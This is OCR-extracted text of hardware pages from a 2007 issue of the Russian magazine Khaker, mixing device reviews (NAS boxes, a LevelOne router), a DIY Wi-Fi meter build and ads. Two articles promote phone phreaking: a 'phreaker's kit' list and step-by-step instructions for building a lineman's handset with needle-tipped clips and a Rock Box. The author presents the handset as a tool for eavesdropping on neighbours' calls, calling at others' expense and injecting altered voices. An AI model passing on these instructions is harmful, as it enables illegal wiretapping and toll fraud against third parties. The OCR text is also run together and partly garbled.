на внутренностиSarotech U-STOR NDS-354ul-White. В качестве чипсетаиспользуется схема XIMeta NDAS2021 ревизии 1.1. Отметим,что преобразователь напряжения собран непосредственновнутри бокса. Подключение производится через стандартныйтрехконтактный кабель.Система фиксации винчестера просто отвратительна.Крепление осуществляется безвинтовым методом, то естьжесткий диск укладывается на 4 свободных штыря, после чегоохватывается сверху пластиковой пластинкой. Если встряхнутьс небольшой силой бокс вместе с винчестером, то слышно,как лихо подскакивает внутри HDD. В связи с этим интересноузнать у производителя, как переносить данную композицию?Наверное, выкладывать сумку поролоном. После двух-трехизвлечений краска с тыльной стороны крышки сдирается— это не принципиально, но сам факт неприятен. Отметимтакже, что охлаждение винчестера осуществляется пассивнымметодом, то есть никаким. Система теплоотвода отсутствует какфакт — о вентиляторах и говорить нечего.Netgear SC101Интерфейсы: RJ-45 10/100 Мбит/секWi-Fi: нетСлоты под диски: 2Возможность расширения через USB: нетИнвертор питания: внешнийГабариты: 171x108x144 ммРассматриваемый бокс, в отличие от прочих девайсов, описанныхв обзоре, рассчитан на подключение одновременно двухвинчестеров. Корпус выполнен из белого пластика. Винчестерыподключаются через отсеки, спрятанные под передней панельюбокса. Крепление полностью безвинтовое — диск простопомещается в отсек. Крышка отбрасывается одним движениемруки. На лицевой стороне предусмотрено подобие замка.На самом деле, это диск с продольной прорезью. Достаточноповернуть в нем отвертку на 90 градусов и доступ будет открыт.Охлаждение — отдельная тема. С винчестерами соприкасаетсяалюминий, причем со всех четырех сторон. С верхней и нижнейстороны на открытый воздух выводятся массивные радиаторы,которые со своей работой справляются весьма эффективно,хотя для охлаждения двух объемных винчестеров было бынеплохо оснастить Netgear SC101 небольшим вентилятором.Поверхность радиаторов сильно нагревается, а небольшой шум— малая цена за качественное охлаждение важной информации.Логично предположить, что производитель не задумывалNetgear SC101 как устройство, предназначенное для переноски.Дело в том, что HDD не зафиксированы ничем и ход дискамежду металлическими стенками составляет где-то 0,5-1 мм.Однако передняя панель прижимает диск достаточно плотно— внутри, в месте соприкосновения HDD с задней стенкой, установленапрокладка, смягчающая вибрации. Про USB-соединениеинженеры забыли, хотя порой бывает полезно и удобноподключиться в качестве внешнего носителя.ВыводВсе рассмотренные в обзоре устройства могут стать отличнымипомощниками в организации сетевого хранилища. Однакостоит выделить некоторые из них. Нам очень понравился NetgearSC101 — отличные возможности по отличной цене. За это,собственно, мы вручаем ему награду «Лучшая покупка». А вотдевайс который действительно, можно назвать шустрым и многофункциональным,— TRENDnet TS-I300. Конечно, и он не безнедостатков, однако их, по сравнению с остальными устройствамив обзоре, очень мало. За проявленные заслуги объявляемему благодарность и вручаем награду «Выбор редакции». zxàêåð 02 /98/ 07/ 019


ferrumСергей Долин/ dlinyj@real.xakep.ru /ЧемоданчикфрикераВсесвое ношус собой/ 020xàêåð02 /98/ 07


ferrumСтать крутым фрикером — мечта многих ребят. Мне часто приходят письма с вопросами,как стать фрикером, мол, научи и т.п. Вот я и решил сделать серию статейпо этой тематике. Начну с чемоданчика фрикера. Это тот необходимый каждомутелефонному пирату набор, который он должен всегда носить с собой. Даже когдаидет на свидание с девушкой.213546879101191. Контроллер/программатор2. Модем3. Универсальный нож(пассатижи, отверткии т.п.)4. инструмент длязачистки проводов5. универсальный ИКдевайс6. Мультиметр7. Газовый паяльник8. КПК с RS-232 (например,Palm m100)9. Набор фрикерскихотверток10. Трубка монтажника11. Разводной ключxàêåð 02 /98/ 07/ 021


SETTI’CHSETOTI’CH>> ferrum$10$70Необходимый наборОпределим, что же фрикеру ХХI века необходимоносить с собой. Нижеследующийперечень не претендует на классический образецдля подражания, однако мне кажется,что он будет весьма полезен начинающим.Итак, вот он.1. Трубка монтажника2. Мобильный телефон3. Универсальный нож (пассатижи,отвертки и т.п.)4. Провода, крокодилы5. Мультиметр6. Газовый паяльник7. КПК с RS-232 (например, Palm m100)8. Модем9. Ноутбук10. Набор флюсов и припоев11. Изолента12. Разные боксы и всякая полезная мелочь13. Acoustic coupler14. Набор фрикерских отверток15. Контроллер/программатор16. Разводной ключРассмотрим некоторые пункты этого спискаболее подробно. В зависимости от степенинужности рядовому фрикеру того или иногоустройства я ставил ему оценку в баллах, отодного до десяти.TBYUBBESTBUYBESBUYУниверсальныйножЭта вещь должна быть с тобой вездеи всегда, даже если ты не фрикер. Быстроразобрать любой девайс, согнуть толстыйпровод, перекусить провода, что-то подточить,обжать, колбаску порезать, пырнутького-нибудь :) — да мало ли еще у негоприменений. Скажу одно, с этим ножикомя не расстаюсь никогда и ни капли не жалеюо его приобретении.Плюсы: может иметь встроенный наборразнообразных отверток, иногда поставляетсяв виде молотка, пассатиж и даже гаечногоключа.Минусы: сходит за холодное оружие и можетвызвать проблемы (хотя я проблем с нимне имел).s’RODEHCOICEEDITORsOICEТрубкамонтажникаЭтот девайс просто необходим фрикеру,звонящему за чужой счет и любящемупослушать разговоры соседей. В купе совстроенным антиАОНом и Rock BOX можетстать грозным орудием подстав. Если делатьего лень, то вполне можно купить в специализированныхмагазинах.Плюсы девайса: можно юзать везде, гдеесть телефонная линия; весьма мобилен;имеет ряд полезных функций; подвластенрасширению в умелых руках.Минусы: трубка занимает много места— если с ней возьмут, то не сможешь прикинутьсядомкратом и сказать, что проходилмимо.$150$15$30КПКМультиметрГазовыйпаяльникTBYUBBESTBUYBESBUYs’RDEHCOICEEDITORsOICEЕсли ты крутой гуру программирования,умеешь кодить под КПК и владеешь интерфейсамиэтого девайса, то эта штука — длятебя. В купе с прямыми руками и хорошимимозгами, с этим устройством ты сможешьсвернуть горы покруче, чем в самых лучшихфильмах про хакеров. К нему можноцеплять модемы или мобильные телефоныи хакать прямо из метро.Плюсы: можно найти КПК с х86‐архитектурой(как на фото), с нормальным интерфейсомRS-232 и цеплять к нему любыеустройства, понимающие этот интерфейс.Минусы: в руках новичка будет бесполезнойигрушкой, которая может еще иповредить делу.Универсальный измерительный прибордолжен находиться в портфеле каждогонастоящего гуру. С ним легко потестить любоеустройство, разобраться, где неполадка в девайсе.В купе с газовымпаяльником, небольшим набором деталейили процессорной платой может стать простополноценным выносным фрикерским комплексом.Плюсы: с помощью него можно измерятьгромадное количество параметров,в зависимости от модели; позволяет прозваниватьпровода, определять обрывыи различные неполадки.Минусы: во многих ситуациях абсолютно бесполезный,занимающий место ящик.Паяльник — верный спутник фрикера.Но любому паяльнику, даже самому современному,нужна розетка. А если ты наполевых работах и питание достать ой каксложно, то тебя всегда выручит газовыйпаяльник. С ним ты можешь даже в дорогесобрать любой прибор или наконец починитьсвои наушники.Плюсы: полная независимость от электроэнергии;можно использовать для резкипластмассы, для усаживания термоусадкии прочих вещей, где нужна высокаятемпература.Минусы: весьма громоздкий, требует постояннойдозаправки газом; можно обжечься./ 022xàêåð 02 /98/ 07


ferrumИгорь ФедюкинОбзорLevelOneWBR-5400Интерфейсы: 1xWAN (RJ-45), 4xLAN(RJ-45) 10/100 Мбит/секБеспроводная точка доступаWi-Fi: IEEE 802.11 b/g + Frame Bursting/Aggregation (до 54 Мбит/сек)Безопасность: WEP (до 128 бит), WPA/WPA-PSK, WPA2/WPA2‐PSK (TKIP/AES),802.1xФункции роутера: NAT/NAPT, DynDNS,Static Routing (8 маршрутов), DHCPФункции файрвола: SPI, Packet Filter,Domain Filter, URL Filter, MAC FilterЦена: $75В/ 024сегда отрадно, когда производительповорачивается лицом к пользователюи идет ему навстречу.Так уж повелось, что российскиеусловия и особенности организации провайдерскихуслуг вызвали дополнительныетребования к оборудованию со стороны юзера.Среди провайдеров особой популярностьюпользуется протокол авторизации PPTP, причемочень распространены такие ситуации, когдасам PPTP-сервер находится за пределамипользовательского сегмента. Далеко не каждыйроутер заработает при таком раскладе. Оченьраспространенным недостатком аппаратныхроутеров является также и то, что после активацииинтернет-соединения по протоколу PPTPони забывают про локальную сеть провайдера.Таким образом, нам приходится выбирать издвух зол: доступ к ресурсам локальной сети безинтернета или наоборот. Работа с учетом этихтонкостей требует тщательной переработкиPPTP-клиента в роутере и адаптации функциистатической маршрутизации.Не так давно российское представительствокомпании LevelOne объявило о выпускетестовой прошивки, поддерживающей всеэти функции, для своей топовой модели Wi-Fiроутера WBR-5400.Внешний видРоутер упакован в серебристо-серый корпуснебольших размеров. С лицевой стороны находитсякнопка «Reset» и светодиоды: питания,текущего состояния устройства, активностибеспроводного сегмента, WAN- и LAN-портов.Причем для последних выведено по 2 светодиода:один сигнализирует о подключениина данном порту, а по второму можно определитьскорость соединения (10/100 Мбит/сек).С тыльной стороны располагается гнездо дляподключения питания, WAN- или LAN-порты,а также 2 разъема для подключения внешнихантенн. Разъем для подключения третьейантенны находится на левом боку роутера. Все 3антенны абсолютно идентичные, с коэффициентомусиления 5 dBi.Аппаратная начинкаМаршрутизатор построен на базе микросхемыAMRISC 10000‐G. Используется 2 Мб оперативнойпамяти Etrontech EM636165TS-7, функци-xàêåð 02 /98/ 07


ferrumонирующей на частоте 143 МГц. Флеш-памятьобъемом 1 Мб представляет собой микросхемуEON EN29LV800BB-70TCP. За Wi-Fi отвечаетчипсет Ralink RT2661T, поддерживающийстандарты IEEE 802.11 b/g. Несмотря на наличиетрех антенн, здесь используется только 1 трансивер.Увеличение же скорости, по сравнениюсо стандартом IEEE 802.11g, получается за счетиспользования общеизвестных технологийFrame Bursting и Frame Aggregation. Такжена плате распаян чип коммутатора RealtekRTL8305SC с возможностью организации VLANи частичной поддержкой функций QoS.Функциональные возможностиНастройка роутера возможна только посредствомweb-интерфейса. Окно приветствия содержитне только поле ввода пароля администратора,но и страницу состояния устройства. Такимобразом, понять, что происходит с интернет-соединениемможно без «логининга». Доступныепользователю функции во многом стандартныдля подобного класса устройств. Однако стоитотметить широкие возможности фильтрациитрафика и трансляции портов NAPT. Как и вовсех новых роутерах, здесь используется StatefullFirewall (SPI — Statefull Packet Inspection),не работающий с пакетами по отдельности, а отслеживающийлогику устанавливаемых соединений.Стоит также сказать, что Wi-Fi у роутераподдерживает функцию WDS, которая позволяетобъединять несколько точек доступа в одну Wi-Fiсеть для увеличения зоны покрытия.Методика тестированияДля тестирования проводного и беспроводногосегментов использовался программный продуктNetIQ Chariot и скрипт Throughput с передачейпакетов максимального объема. На двухстанциях устанавливались так называемыеendpoint-программы, затем в консоли NetIQChariot запускался скрипт генерации трафика.1. При тестировании пропускной способностиWAN LAN одна из станций подключаласьк одному из портов свитча (интерфейс LAN), вторая— к WAN-порту. Таким образом, мы получалипиковую пропускную способность для WAN-интерфейса(также ее можно называть скоростью NAT).Измерялась скорость однонаправленной передачи(направления WAN LAN и LAN WAN) ипередачи в режиме полного дуплекса (FDX).2. Поскольку при активации интернет-соединенияпо протоколу PPTP создается дополнительнаянагрузка на центральный процессор роутера,мы также измеряли пропускную способностьPPTP. Для этого за WAN-интерфейсом маршрутизаторабыл поднят VPN-сервер. Кроме того,проверялась возможность установки VPN-соединенияв случае размещения VPN-сервера внесегмента нахождения нашего маршрутизатора.3. Для оценки скорости Wi-Fi мы использовалиPCMCIA-карточку LevelOne WPC-0500. Измеренияпроводились в типичной квартире изтрех точек с разным удалением от роутера.В первом случае удаление не превышалоодного метра и, следовательно, измеряласьмаксимальная скорость передачи данных.Во втором ноутбук с Wi-Fi адаптеромнаходился на расстоянии 10 метров от точкидоступа по диагонали за стеной. В третьемудаление от точки доступа составляло 20метров за двумя стенками, одна из которыхявлялась капитальной. Во всех случаяхиспользовалась шифрация трафика WPA-PSKc ключом TKIP.4. В качестве дополнительного исследованиябыла проведена проверка на уязвимостисо стороны WAN-интерфейса с помощью программногопродукта Tenable Nessus. Сканированиепроводилось в двух режимах: с включенными выключенным файрволом.Результаты тестовРоутер показал выдающиеся результатыпропускной способности WAN-интерфейсав режиме Static IP (NAT Only). В направленииLAN WAN она составила 87,23 Мбит/сек,в направлении WAN LAN — 81,17 Мбит/сек,а в режиме полнодуплексной передачи —82,35 Мбит/сек.С тестовой прошивкой, предоставленнойпредставительством LevelOne, PPTP, действительно,полностью адаптирован под российскиеусловия. Соединение устанавливается дажев случае нахождения VPN-сервера за шлюзомпровайдера, и при этом функция статическоймаршрутизации позволяет сохранить доступк локальным ресурсам провайдера. Все это работаеттакже и в случае режима Dynamic IP, тоесть когда настройки получаются с DHCP-сервера.Пропускная способность PPTP-туннелясредняя. В направлении LAN WAN онасоставляет 18,94 Мбит/сек, в направлении WAN LAN — 22,81 Мбит/сек, в полном дуплексе— 22,36 Мбит/сек.Использование дополнительных антенн с высокимкоэффициентом усиления и технологийFrame Bursting и Frame Aggregation позволяетдобиться немного более уверенного приема надальних дистанциях и несколько большей скорости,по сравнению со стандартными устройствами802.11g. Пиковые значения скорости Wi-Fiсоставляют 29,31, 23,89 и 19,23 Мбит/сек дляудаленности 1, 10 и 20 метров соответственно.Tenable Nessus не выявил у роутера ни однойуязвимости, что говорит о его достаточно высокойзащищенности.ВыводыИтак, подводя итог, можно смело сказать, чтороутер LevelOne WBR-5400 достоин внимания.Он сочетает в себе достаточную для большинствапользователей пропускную способность PPTP-соединения,высочайшую скорость маршрутизациив локальную сеть провайдера (NAT) и сравнительнохорошую производительность Wi-Fi. Радуети то, что работа PPTP полностью адаптированапод требования наших провайдеров. А учитываяневысокую стоимость, LevelOne WBR-5400 смеломожно ставить в один ряд с такими фаворитами,как MSI RG54GS2 и ASUS WL-500G Premium.Пожалуй, единственное, чего ему на данныймомент не хватает, — это поддержка протоколаIGMP, который необходим для корректной работымультикастового телевидения IPTV. zVPN (PPTP)NATПропускная способностьWAN интерфейса0 10 20 30 40 50 60 70 80 90 100fdxLAN->WANWAN->LANПропускная способность WAN-интерфейса:на графике представлена пропускная способностьв двух режимах: с использованиемпротокола PPTP и в режиме Static IP (NATOnly)20 метров10 метров1 метрСкорость Wi-Fi (maxpacketsize)0 5 10 15 20 25 30 35ap-pcfdxpc-apСкорость Wi-Fi (maxpacketsize): как видно,при увеличении расстояния с 1 до 10 метров,скорость падает не очень сильно, а вот наудалении 20 метров стабильность соединениясильно снижается20 метров10 метров1 метрСкорость Wi-Fi (minpacketsize)0 0,2 0,4 0,6 0,8 1 1,2Мбит/сap-pcСкорость Wi-Fi (minpacketsize): в этомслучае измерения проводились с размеромIP-пакета в 64 байтаfdxpc-aptest_lab выражает благодарность за предоставленное на тестирование оборудование российскому представительству компании LevelOne.xàêåð 02 /98/ 07/025


ferrumСергей Долин/ dlinyj@real.xakep.ru /Трубка монтажникафрикерский Девайс для прослушивания соседских телефоновВ этой статье я расскажу тебе о незаменимом для любого фрикера и одновременноочень простом устройстве. С этим девайсом фрикеру станут доступны все радости телефонныхприколов: прослушивание разговоров соседей, звонки за чужой счет, подменаголоса и так далее. Ты поймешь, что это за увлечение, прочувствуешь всю фрикерскуюромантику и доставишь много незабываемых минут себе и своим друзьям.НеобходимостьЧтобы стать фрикером, надо с чего-тоначать. Конструкцию одного из моих первыхфрик-девайсов я нашел в «Хакере». Он досих пор где-то валяется. Мне всегда хотелосьиметь карманный телефон, чтобы, видялюбую «лапшу», я мог позвонить илипослушать разговоры. Походив по разнымрадиомагазинам, я встретил такоеустройство. Называется «трубка монтажника».Однако его стоимость оставляла желать, и меняначала душить жаба. Тогда я принялрешение сделать такое устройство сам, темболее что оно достаточно простое. Изначальноя думал собрать телефон с нуля, из микросхеми прочих деталей. Но потом прикинул, чтопо затратам на детали и по трудозатратамвыйдет дороже промышленного варианта, даи не факт, что заработает. Тут мой взор упална обычный кнопочный телефон за 300рублей, и я сразу углядел в нем почти готовыйфрик-девайс.ИсходникиЯ решил сделать не простую звонилку,а с возможностью подсоединения к линейномувходу звуковухи, как на вход, таки на выход. Такая штука называетсяRock Box. Она позволяет записыватьразговоры, например, на диктофон, илиподавать в линию измененный голос созвуковой карточки. Для изготовления стольчудесного устройства нам понадобятсякнопочный телефон, корпус будущегофрик-девайса, маленький кусочекмонтажки, провода, крокодильчики, иголкии конденсаторы 0,1 мкФ, резистор в 1 кОм(я брал SMD для большей миниатюрности)и 3 разъема под наушники (можно братьмоно, так как стерео нам телефон пока необеспечивает). Из инструментов нам нужныбудут паяльник (желательно с насадками длярезки пластика), отвертки, ножик-кусачкии термопистолет с термоклеем.Начало путиНачинаем наш труд с разборки исходногоаппарата. Обнаруживаем саморезы, которыепридется выкрутить, или обычныезащелки, которые можно смелоотломать, потому как корпус телефона/ 026xàêåð 02 /98/ 07


ferrumВклеиваем плату в корпуснам уже не понадобится и жалеть егонечего. После вскрытия необходимо оценитьпо размерам кишков, какой у тебябудет корпус для бокса. Учитывай, чтов корпусе, кроме платы телефона, будутеще разъемы наушников, провода и RockBox. После выбора нужного корпуса, которыйможно взять, например, от старогомодема или купить в магазине, переходимк стадии переноса кишков телефонав более миниатюрный корпус и изготовленияRock Box.Делаем Rock BoxДля начала определи, нужен ли тебе боксв твоей фрикерской аптечке. Rock Boxпозволяет гнать в телефонную линию сигналс линейного выхода магнитофона, плеераили звуковухи, а также слушать этотсигнал. Это бесценная вещь для пранка; специальныйсофт, подменяющий голос, —и в путь. Но зачастую это не нужно. Я жерешил, что потрачу 15 минут и добавлю этудополнительную функцию, даже если никогдане буду ее использовать. Будем считать, чтои ты так решил, поэтому двигаемся дальше.Запаиваем детали, как показано насхеме. Дальше можно сразу подключать устройствок звуковой карте. Второй контактбокса припаиваем к основной плате телефонана контакты прихода линии. Для выходас телефонной линии я предусмотрелв корпусе «трубки» дополнительноегнездо, которое и подписал буковкой «R».Однако будь осторожен. Не берись законтакты Rock Box, подключенногок линии, и корпуса компьютера.Схема Rock Boxxàêåð 02 /98/ 07/027


ferrum!Разработкулюбогоустройства, в томчисле и фрикдевайсов,начинайс выборакорпуса. Иначеты получишь бесполезныйнаборплат и проводов.iЕслиты умный, у тебяпрямые рукии ты жаждешьзаниматься фрикингом,то пишимне. Возможно,сколотим интереснуюкоманду.DVDПервым моимпособиемпо фрикингу, которыйнаставилменя на путьистинный, былакнига Петра Карабина«Эффективныйфрикинг».В целом книжкадостаточна попсовая,но в нейнеплохо изложеныосновыфрикинга, справочнаяинформацияпо различнымбоксам и прочаямелкая, но интереснаяинфа.Книжка, конечно,немного устарела,но я до сих порнахожу в нейчто-то интересноедля себя.Крокодильчики для коннектаУ них весьма хорошая разница потенциалов, и личноменя достаточно неплохо дернуло током.СборкаТеперь начинается самый сложный и ответственный этап,на который у меня ушло больше всего времени. Для началав кишках исходного телефона нужно определить, какиепровода для чего используются. Узнаем, какая парапроводов, идущих к трубке, отвечает за микрофон, а какая —за динамик. Для этого мы разбираем саму трубку. Если трубкане съемная, это можно сделать просто визуально, определив,какого цвета провода к чему подходят. Если же трубкасъемная, то вооружаемся мультиметром и прозваниваемконтакты на плате телефона и от самой трубки. Послеэтого мы можем смело откусывать провода, идущиек трубке и в телефонную сеть. Если у проводов, идущихк линии, есть отдельный разъем, то удобнее егоснять и вынуть провод. Затем надо убрать с проводаосновную изоляцию, а к паре проводов припаятькрокодильчики. Нужно быть осторожнее с клавиатурой, таккак она достаточно хлипко закреплена. Извлекаем отделенныекишки из корпуса телефона и переносим в заранееподготовленную коробку. Закрепляем основную платутелефона термоклеем. В корпусе делаем отверстия подразъемы для наушников, микрофона и Rock Box. Их можнопросверлить, но пластик при этом может треснуть. Поэтомуя просто проделал их горячим паяльником. Подпаиваем нужныеВырезаем панель под клавупровода к разъемам (микрофон, Rock Box и ухи) и устанавливаемразъемы на корпусе. Для того чтобы не путаться, какойразъем для чего, я их подписал паяльником: «Н» —наушники, «М» — микрофон, «R» — Rock Box.Самый «вкусный» момент, который я оставил на десерт,— это крепление клавиатуры. Можно, конечно,взять и под штатную клаву прорезать дырочку для каждойклавиши. Но я решил не заморачиваться и отрезал паяльникомот телефона пластину с дырками под кнопки. Затемв корпусе проделал паяльником отверстие под клавиатуруи приклеил сверху пластинку от исходного аппарата. Далееснизу подклеиваем плату клавиатуры, предварительноустановив на нее резинку с клавишами. Последнийштрих: прорезаем в корпусе отверстие для нажатия кнопкисброса. Любители могут, конечно, вывести ее отдельнойпипкой на корпус, но мне было лень. Все, крутой фрикдевайсготов. Чтобы можно было легко подключитьсяк любому проводу, в крокодильчики я вставил обычныеиголки. Ими просто протыкается изоляция проводаи достигается жила.ВыводВот так, имея прямые руки, голову на плечах и непреодолимоежелание стать фрикером, ты можешь обзавестисьнеплохим девайсом для телефонного хака. Все, что тебенужно, — это внимательно следовать инструкциям, приведеннымв статье. Удачи тебе, фрикер. zПодписи к гнездам Сравниваем цвета проводов Кишки телефона/ 028xàêåð 02 /98/ 07


С ДЕРЕВЯННОЙ ЛОШАДКОЙСТАЛОСКУЧНО?PlayStation 2(Slim) RUSNGC Resident Evil4 Limited EditionPackXbox 360 VideoGame System(Fully-Loaded)Играйпросто!GamePost5040 р.5600 р.14560 р.PSP (EURO)BASEGame Boy Micro(розовый)Nintendo DSDualscreen7280 р.3220 р.4200 р.НЕ ПОРА ЛИСМЕНИТЬ ИГРУ?* * *Огромныйвыбор компьютерныхигрИгры для всехтелевизионныхприставокКоллекционныефигурки из игр*1120 р.Diablo Action FigureNecromancerТребуются курьеры! Достойные условия. Классный молодой коллектив.Звоните: +7 (495) 780 88 25 или пишите: sales@gamepost.ru


ferrumСтепан Сергей Долин Ильин/ STEP@GAMELAND. dlinyj@real.xakep.ru RU/ /ДозиметрWi-FiСоздаем простейший измерительнапряженности Wi-Fi поляЗадумкаИдея чрезвычайно простая: необходимосделать антенну диапазона работы Wi-Fi сети,после чего измерять значения наводимой в нейЭДС. Чтобы не изобретать велосипед, я вбил вГугле «Wi-FI напряженность поля» и перешелпо первой ссылке на статью «Конструкциянапряженности измерителя поля» (http://vbm.lan23.ru/Wi-Fi/fsm.html). Лично меня приведеннаяв ней схема привлекла своей простотойи дешевизной изготовления. Эта конструкцияпредставляет собой обычный детекторный приемник,где в качестве колебательного контуравыступают квадрат из проволоки и подстроечныйконденсатор. Нагружается этот приемникна милливольтметр. Меня, конечно, смутилиотсутствие дополнительного усиления сигналаи требование высокой, почти заводской,точности изготовления. Но интерес, простотаи дешевизна прибора сделалисвое дело, и я решил попробоватьcварганить его.ИзготовлениеДля изготовления мне понадобилисьСВЧ-диод в керамическом корпусе Д603 илиД405, подстроечный конденсатор на 5-15 пФи керамический конденсатор на 1 нФ. Деталиоказалось не так просто достать в обычныхмагазинах, но на наших радиорынках найдетсявсе. После закупки всего необходимого всталвопрос, как же рациональнее разместить всеэто на мультиметре. Я решил пойти по путинаименьшего сопротивления и упростилпредлагаемую в статье конструкцию, не меняяее функциональности. Взяв обыкновеннуюсоветскую вилку и сняв с нее верхний кожух, яобточил все выступающие части наДля оценки качестваWi-Fi антеннынередко хочетсяиметь приборчик,который можетпоказать в некоторыхотносительныхединицах мощностьизлученияпередатчика.Над поиском промышленныхобразцовя не заморачивался,так как этонедостойно настоящегогика. Поэтомубыло принято решениеспаять девайссвоими руками./ 030xàêåð 02 /98/ 07


ferrumВилка, текстолит и кондер Текстолит с бороздкой«Прибор прост в изготовлениии так жепрост в использовании,однако точность егоизмерений оставляетжелать лучшего»точиле. К штекерам под винт прикрутил 2 толстыхпровода. Сверху на эти две проволки я наделодносторонний фольгированный текстолит спросверленными в нем отверстиями на расстоянииэтих проволочек и запаял это все сверху.Получилась достаточно надежная конструкция,вставляющаяся в гнездо мультиметра. Междупроволочками, под пластиной, я подпаял нанофарадныйконденсатор.АнтеннаТеперь надо подготовить место для антенны.Один контакт запаянной проволоки нужно отделитьот основного пласта меди, чтобы не былопроводящего слоя. Там будет располагатьсяпринимающая рамка. Далее изгибаем рамки дляантенны. По чертежам, гнем из 1-2 мм проволоки3 квадрата. Сторона первого составляет 30 мм,второго (выступающего в роли активного вибратора)— 33 мм, третьего (рефлектора)— 34,5 мм. На самом деле, такую точность изгибаможно получить только на заводе, поэтому язабил и все измерял просто обычной деревяннойлинейкой, делал засечки ножиком и изгибалпассатижами. Когда все квадраты будут готовы, ихнужно запаять на плате. Чтобы тебе было прощеэто делать и чтобы ты знал, что куда подключать,я нарисовал схему. Крайние квадраты простонаглухо подпаиваем к пластине (желательно все-таки соблюдать расстояние, но у меня получиласьпогрешность в миллиметр). Центральный квадратподпаиваем к нашему проводу, отделенному отосновной пластины одним контактом. На второйвешаем СВЧ-диод и между ножками квадратаподпаиваем конденсатор. Все, запаиваем диодна основную пластину и вставляем нашу громоздкуюконструкцию в мультиметр. Ставим прибор наизмерение милливольт и начинаем настраиватьантенну. Для этого берем телефон с включеннымблютусом, отвертку и начинаем ловить сигнал,подкручивая конденсатор и добиваясь максимальногозначения напряжения на приборе. Какпоймали — уносим телефон от антенны, проверяязатухание сигнала. Если значение уменьшается,то значит, мы поймали частоту 2,4 ГГц. Все,считай, девайс готов.ВыводыПрибор прост в изготовлении и так же прост виспользовании, однако точность его измеренийоставляет желать лучшего. Но определитьналичие сигнала и мощность его излученияможно. Например, с помощью приборая установил, что мой мобильник с блютусомизлучает сигнал гораздо слабее, чем Wi-Fiточка. Но для качественного устройства ему,конечно, еще далеко.В дальнейшем предполагается сделать кантенне дополнительный усилитель, собравдополнительную схему, более детально анализироватьполученный сигнал, например, спомощью микроконтроллера, точнее согнутьрамки и закрепить их, как предложено воригинальной статье. zxàêåð 02 /98/ 07/031


ferrumсвежачок$120$232GMC Noblesse AVC-K1Корпус для твоего мультимедиа-центраGoTView PCI DVD 3 HybridГибридный тюнер для аналогового и цифрового ТВ/радиоТехнические характеристики:Форм-фактор: MiddleATXСлоты: 2x5,25 ext, 1x3,5 ext, 5x3,5 intПорты: 4x USB, FireWire, mic, audioДополнительно: 2 вентилятора (120-мм), панель управления, клавишиуправления проигрывателемРазмеры, мм: 200x510x440Вес, кг: 9,16+1. Это устройство от компании GMC — отличный гибрид серьезногокорпуса для фанатов железа и вместилища компонентов для созданиядомашнего кинотеатра.2. Фанатам понравится то, что в этот корпус, благодаря его размерам,можно засунуть массу компонентов. Форм-фактор MiddleATX и куча (пара5,25”, 1 внешний и 5 внутренних 3,5”) отсеков для накопителей обеспечаттакую возможность.3. Внутри есть парочка дополнительных вентиляторов (120-мм) и раструбнапротив процессора.4. Но это внутри. А снаружи, на передней панели, имеется масса ценныхустройств. Во-первых, дополнительные порты (FireWire, USB и аудио).Во-вторых, контрольная панель с ЖК-дисплеем и возможностью изменятьскорость вентиляторов.5. В-третьих, и это непосредственно касается мультимедийности, на тойже передней панели находятся кнопки управления проигрывателем.Кроме того, все понимают, что тянуться и нагибаться к ним тебе лень,поэтому в комплект поставки входит и пульт дистанционного управления.6. Завершая рассказ о передней панели, стоит сказать, что на ней естьеще и кардридер.7. В комплект поставки входят все необходимые винтики, кабели и прочаямелочь, необходимая для монтажа комплектующих в корпус.-1. А вот БП внутри нет. Можешь, конечно, жалеть об этом, но лучше пойдии купи тот PSU, который нравится тебе, а не производителю.Технические характеристики:Интерфейс: PCI 2.1Селектор: Xcieve 3028Декодер/энкодер: CX23418Поддержка стандартов вещания: PAL/SECAM/NTSC/DVB-T/FM/УКВПоддержка форматов звука: A2, NICAMПоддержка кодирования видео: аппаратная — MPEG-2, программная— системные кодекиПульт ДУ: естьДополнительно: антенна DVB-T, низкопрофильная планка для установкив barebone, диск с InterVideo DVD Creator2+1. Низкопрофильная планка и отсутствие выступающих элементов делаютвозможной установку девайса в barebone системы.2. Наличие аппаратного MPEG-кодека позволяет снизить системныетребования и на лету захватывать видео в хорошем качестве.3. С учетом внедрения телекомпаниями новых технологий точно пригодитсяподдержка стереоформатов звукового вещания.4. Основные стандарты телевещания дополнены возможностью приниматьцифровой видео- и радиосигнал в формате DVB-T.5. Имеющийся радиотюнер прилично принимает сигнал как в FM-, так ив УКВ-диапазоне.6. В качестве декодера\энкодера используется всего 1 чип CX23418,который гораздо эффективнее связки в плане тепловыделения и занимаемогона плате места.7. В комплектацию включена короткая антенна для приема цифровоготелевидения, которая также неплохо ловит аналоговые каналы.8. Вместе с эфирным цифровым телевидением (DVB-T) можно организоватьассиметричный доступ в интернет, наподобие спутникового (DVB-S).-1. Пока маловато теле- и радиостанций, вещающих в цифровом формате.Но их количество будет увеличиваться благодаря конкурентному превосходствув качестве звука/картинки и согласно планам правительства./ 032xàêåð 02 /98/ 07


ferrum$140$48Biostar Sigma Gate V7603GS21Среднее видео с прикольной оверклокерской утилитойPalit GeForce 7100GSДоступная альтернатива встроенному видеоТехнические характеристики:Интерфейс: PCI ExpressЯдро: NVIDIA GeForce 7600GSКоличество пиксельных конвейеров, шт.: 12Шина памяти, бит: 128Объем памяти, Мб: 256Частота ядра, МГц: 400Частота памяти, МГц: 700 (1400)Тип памяти: GDDR-3Выходы: DVI, D-Sub, S-Video+1. Девайс относится к категории Middle-End, то есть сочетает в себеадекватную производительность при умеренной цене.2. Оригинальная конструкция охлаждения выделяет плату средиконкурентов, сделанных по образу и подобию референсов NVIDIA.3. В наличии полная поддержка Shader Model 3.0 — перед новыми играмикомп в грязь лицом точно не ударит.4. В комплект с устройством компания Biostar кладет утилиту V-Ranger— целый программный комплекс, упрощающий разгон. В ней даже имеетсявозможность поднимать рабочие напряжения!5. Плата очень неплохо показывает себя в современных играх даже наноминальных частотах, не тронутых разгоном.6. При наличии двух таких плат ты без проблем сможешь объединить ихв массив SLI — это повысит FPS в тяжелых режимах.-1. FSAA и анизотропией лучше не увлекаться. По крайней мере, не в навороченныхиграх — FPS может упасть слишком низко.2. Память кулером не охлаждается — с ее разгоном лучше бытьаккуратнее.3. Любителям домашней режиссуры девайс не подойдет — чип VIVOв нем не предусмотрен.Результаты тестирования3DMark’05, баллов: 48843DMark’06, баллов: 2442Far Cry (1280x1024), FPS: 87,8Far Cry (1280x1024 AA4x/AF16x), FPS: 55,93Doom 3 (1280x1024), FPS: 77, 4Doom 3 (1280x1024 AA4x/AF16x), FPS: 42,6Half-Life 2 Lost Coast HDR (1280x1024), FPS: 